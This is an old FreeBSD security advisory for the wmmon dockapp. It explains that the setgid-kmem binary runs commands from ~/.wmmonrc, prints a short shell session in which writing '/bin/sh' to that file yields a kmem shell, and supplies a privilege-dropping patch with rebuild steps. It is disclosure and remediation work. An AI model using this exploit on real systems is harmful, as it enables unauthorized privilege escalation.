COMMAND

    Wmmon

SYSTEMS AFFECTED

    FreeBSD

PROBLEM

    Steve  Reid  found  following.   Wmmon  is  a  popular program for
    monitoring CPU load  and other system  utilization.  It  runs as a
    dockapp under WindowMaker.   The FreeBSD version  of this  program
    has a feature that can  be trivially exploited to gain  group kmem
    in recent  installs, or  user root  in really  old installs.  This
    affects  the  FreeBSD  version  because  under FreeBSD the program
    must be installed  setgid kmem or  setuid root in  order to access
    system load  information through  the memory  devices.   The Linux
    version  should  not  be  vulnerable  because it reads information
    through procfs which requires no special privileges.  Exploit:

        % id
        uid=1000(steve) gid=1000(steve) groups=1000(steve)
        % echo 'left /bin/sh' > ~/.wmmonrc
        % wmmon -display myworkstation.evilhacker.net:0.0
        Monitoring 2 devices for activity.
        {Left-click on the little window that appears}
        current stat is :1
        $ id
        uid=1000(steve) gid=1000(steve) egid=2(kmem) groups=2(kmem), 1000(steve)

    The  exploit  and  patch  were  tested with wmmon 1.0.b2 installed
    using the ports tree.  Standard disclaimers apply.

SOLUTION

    Here is a patch:

    --- work/wmmon.app/wmmon/wmmon.c.old	Thu Dec  2 02:06:55 1999
    +++ work/wmmon.app/wmmon/wmmon.c	Thu Dec  2 04:20:22 1999
    @@ -318,6 +318,8 @@

 	    if (kvmd==NULL) kvmd = kvm_openfiles(NULL, NULL, NULL, O_RDONLY, errbuf);
 	    if (kvmd==NULL) { fprintf(stderr, "kvm_openfiles: %s\n", errbuf); exit(errno); }
    +	if (setgid(getgid()) != 0) exit(1); /* We're sgid kmem. Give up privs. */
    +	if (setuid(getuid()) != 0) exit(1); /* If we're suid, give that up too. */
 	    if (kvmd) {
 		    if (kvm_nlist(kvmd, nl) >= 0) {
 			    struct nlist *nlp;

    To fix  your wmmon  binary save  the above  as wmmon.patch  and do
    this:

        cd /usr/ports/sysutils/wmmon
        make patch
        patch < wmmon.patch
        make
        su root
        make deinstall
        make reinstall

    An alternative  solution would  be to  read such  information from
    kernfs, usually  (although optionally)  mounted at  /kern.  kernfs
    is the  *bsd equivalent  to many  of the  files in  linux's /proc.
    This would,  of course,  require the  app to  be rewritten  to use
    /kern instead of /dev/kmem, but well worth it in my opinion.